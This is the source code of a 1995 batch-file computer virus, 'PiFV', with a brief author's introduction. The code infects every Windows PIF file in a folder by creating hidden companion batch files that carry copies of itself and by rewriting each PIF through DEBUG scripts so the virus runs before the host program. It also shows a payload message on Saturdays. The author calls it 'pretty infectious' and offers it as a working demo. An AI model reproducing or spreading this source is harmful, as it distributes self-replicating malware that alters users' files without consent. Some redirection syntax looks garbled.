PIF virus "PiFV"

PIF virus "PiFV"
----------------

Creates hidden batch files with the same base name as host
Modifies PIF to run the hidden batch instead of host program
After infecting more PIFs the companion batch runs the host
Sometimes displays a stupid message on Saturdays (it was late)

This might be the first PIF virus. One problem with PIF infection is
the PIF file must be actually run or it won't work. If the user runs
the actual program the virus won't work. It has other problems but is
functional enough for a demo. I don't feel up to fixing it right now.
It's pretty infectious right now...

----------------------------(cut here)------------------------------------
:: Windows PIF Virus (in batch!)
:: Prog by WaveFunc May 13, 1995
:: (these comments will not replicate)
::
:: This is a virus that 'infects' PIF files, used by Windows to
:: run DOS programs. It works by creating hidden companion batches
:: containing copies of this then altering the PIF file so that the
:: companion batch runs first. After the companion runs it runs the
:: original host program, the name of which is encoded into the
:: companion. The pif files are marked so that they will not be
:: re-infected. Only PIFs are affected, no changes are made to
:: the infected programs. To 'cure', use PIFEDIT to restore the
:: original filenames then delete the hidden files.
::
@echo off
:: host filename...
set pifvo=LIST.COM
:: loop dispatcher...
if '%1=='PiFV goto PiFV_%2
:: run the virus!
set _PiFV=
if not exist %comspec% set comspec=C:\COMMAND.COM%_PiFV%
%comspec% /e:5000 /c %0 PiFV go>nul
if exist PiFV! del PiFV!
:: run the host
set PiFVcl=%1 %2 %3 %4 %5 %6 %7 %8 %9
call %0 PiFV hst
set PiFVo=
set PiFVcl=
:: check for activation...
echo.|date|find /i "sat">nul.PiFV
if errorlevel 1 goto PiFV_end
echo.|time|find "7">nul.PiFV
if errorlevel 1 goto PiFV_msg
set PiFV=echo
cls%_PiFV%
%PiFV%.
%PiFV% There once was an Otter named Oscer
%PiFV% Who claimed to know how to make water.
%PiFV% "No more dams," he said, "use my water instead!"
%PiFV% But the Elder Otter was not impressed.
pause>nul.PiFV
set PiFV=
goto PiFV_end
:PiFV_msg
echo [PiFV] by WaveFunc
goto PiFV_end
:PiFV_hst
%PiFVo% %PiFVcl%
goto PiFV_end
:PiFV_go
set PiFVh=%0
if not exist %PiFVh% set PiFVh=%0.bat
if not exist %PiFVh% exit
for %%a in (*.pif) do call %0 PiFV inf %%a
exit PiFV
:PiFV_inf
set PiFVp=%3
:: get victim filename and infection marker
:: from PIF file using debug...
if exist PiFV! goto PiFV_1
echo m 124,162 524>PiFV!
echo e 100 '@set fn='>>PiFV!
echo m 524,562 108>>PiFV!
echo n pifv$.bat>>PiFV!
echo rcx>>PiFV!
echo 47>>PiFV!
echo w>>PiFV!
echo m 55E,561 108>>PiFV!
echo e 10C 0>>PiFV!
echo n pifv$$.bat>>PiFV!
echo rcx>>PiFV!
echo 10>>PiFV!
echo w>>PiFV!
echo q>>PiFV!
:PiFV_1
debug %PiFVp%nul
call PiFV$
set PiFVn=%fn%
call PiFV$$
set PiFVi=%fn%
del PiFV$?.bat
:: pifvn=orig filename
:: pifvi=infection marker
:: pifvp=pif filename
:: pifvh=companion bat file
:: skip infected or 'empty' pifs...
if '%PiFVi%=='PiFV goto PiFV_end
if '%PiFVn%==' goto PiFV_end
:: don't shadow command.com (be nice)
echo %PiFVn%|find /i "command">nul
if not errorlevel 1 goto PiFV_end
:: infectable - create a companion batch...
:: (the following code strips off the extension)
echo e 100 e8 16 00 b4 08 cd 21 3c 00 74 0c 3c 2e 74 08 88>PiFV$$
echo e 110 c2 b4 02 cd 21 eb ec cd 20 ba 21 01 b4 09 cd 21>>PiFV$$
echo e 120 c3 73 65 74 20 66 6e 3d 24 00>>PiFV$$
echo n pifv$.com>>PiFV$$
echo rcx>>PiFV$$
echo 2a>>PiFV$$
echo w>>PiFV$$
echo q>>PiFV$$
debugnul
echo %PiFVn%|PiFV$>PiFV$$.bat
call PiFV$$
set PiFVb=%fn%.bat
del PiFV$?.*
:: pifvb=new batch name
:: do not shadow if comp has same name as host
if %PiFVo%==%PiFVb% goto PiFV_end
if exist %PiFVb% goto PiFV_end
echo @echo off>%PiFVb%
echo set pifvo=%pifvn%>>%PiFVb%
find "PiFV"<%PiFVh%>>%PiFVb%
attrib %PiFVb% +h
:: ...and point the PIF at the companion
echo e 15E 'PiFV',0>PiFV$$
echo e 124 '%PiFVb%',0>>PiFV$$
echo w>>PiFV$$
echo q>>PiFV$$
debug %PiFVp%nul
del PiFV$$
:: I think we're done!
exit PiFV
:PiFV_end
:: wonder how many bugs all this has in it? Only one
:: way to find out...